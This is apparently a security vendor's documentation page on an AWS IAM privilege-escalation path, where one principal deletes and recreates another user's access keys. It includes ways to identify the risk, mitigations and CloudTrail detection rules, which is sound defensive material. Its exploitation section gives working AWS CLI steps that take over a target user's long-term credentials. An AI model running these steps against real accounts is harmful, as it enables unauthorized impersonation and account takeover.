> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_create_delete_access_key.md).

# AWS\_CREATE\_DELETE\_ACCESS\_KEY

## Summary

|                            |                                               |
| -------------------------- | --------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_CREATE\_DELETE\_ACCESS\_KEY              |
| **Affected Object Types**  | `AWSUser\|AWSRole\|AWSGroup → AWSUser`        |
| **Exploitation Certainty** | High                                          |
| **AWS IAM Action**         | `iam:CreateAccessKey` + `iam:DeleteAccessKey` |

## Description

An attacker with both `iam:CreateAccessKey` and `iam:DeleteAccessKey` on a target IAM user can bypass the AWS 2-key limit unconditionally. They delete one existing key to free a slot, then immediately create a fresh key. The result is long-term credentials for the target user, regardless of how many keys that user held before.

This is a **consolidated** privesc edge. Either action alone doesn't deliver impersonation. Together they do. The new key is indistinguishable from a legitimate one, and it survives rotation of the target's original keys.

**Edge semantics:** `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_CREATE_DELETE_ACCESS_KEY]-> (TargetUser:AWSUser)`

Precondition: none. Delete+create bypasses the 2-key limit unconditionally.

## Identification

```bash
# Check who has both CreateAccessKey and DeleteAccessKey on IAM users
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[*].[UserName,AttachedManagedPolicies[*].PolicyName]"

# Simulate both actions for a principal
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:CreateAccessKey iam:DeleteAccessKey \
  --resource-arns "arn:aws:iam::*:user/*"
```

PowerShell (AWS Tools):

```powershell
$principal = "<attacker-arn>"
Test-IAMPrincipalPolicy -PolicySourceArn $principal `
    -ActionName @("iam:CreateAccessKey","iam:DeleteAccessKey") `
    -ResourceArn "arn:aws:iam::*:user/*"
```

## Exploitation

```bash
# Step 1: Find existing keys on target (need to free a slot if target has 2)
aws iam list-access-keys --user-name <target-user>

# Step 2: Delete one existing key
aws iam delete-access-key \
  --user-name <target-user> \
  --access-key-id <existing-key-id>

# Step 3: Create a new key, returns AccessKeyId + SecretAccessKey
aws iam create-access-key --user-name <target-user>

# Step 4: Use the new credentials
export AWS_ACCESS_KEY_ID=<new-key-id>
export AWS_SECRET_ACCESS_KEY=<new-secret>
aws sts get-caller-identity
```

## Mitigation

* Restrict `iam:CreateAccessKey` and `iam:DeleteAccessKey` to dedicated IAM break-glass roles; deny for all service principals.
* Apply IAM permission boundaries so that even with these actions, the resulting credentials cannot exceed the boundary.
* Use SCPs to deny access key creation outside approved accounts or OUs.
* Prefer temporary credentials (IAM roles / STS) over long-term access keys wherever possible.
* Enable AWS Config rule `iam-user-no-policies-check` and `access-keys-rotated` to detect stale or surplus keys.

## Detection

| CloudTrail Event  | Description                      | Key Fields                                                                                 |
| ----------------- | -------------------------------- | ------------------------------------------------------------------------------------------ |
| `DeleteAccessKey` | An existing key was deleted      | `requestParameters.userName`, `requestParameters.accessKeyId`, `userIdentity.arn`          |
| `CreateAccessKey` | A new key was created for a user | `requestParameters.userName`, `responseElements.accessKey.accessKeyId`, `userIdentity.arn` |

Alert when `DeleteAccessKey` is followed by `CreateAccessKey` for the same `userName` within a short window and the caller is not the key owner. Also alert on any `CreateAccessKey` where the caller ARN differs from the target `userName`.

## References

* [AWS IAM: CreateAccessKey API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
* [AWS IAM: DeleteAccessKey API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteAccessKey.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation, Create Access Key](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [HackTricks: AWS IAM Privesc, iam:CreateAccessKey](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc)
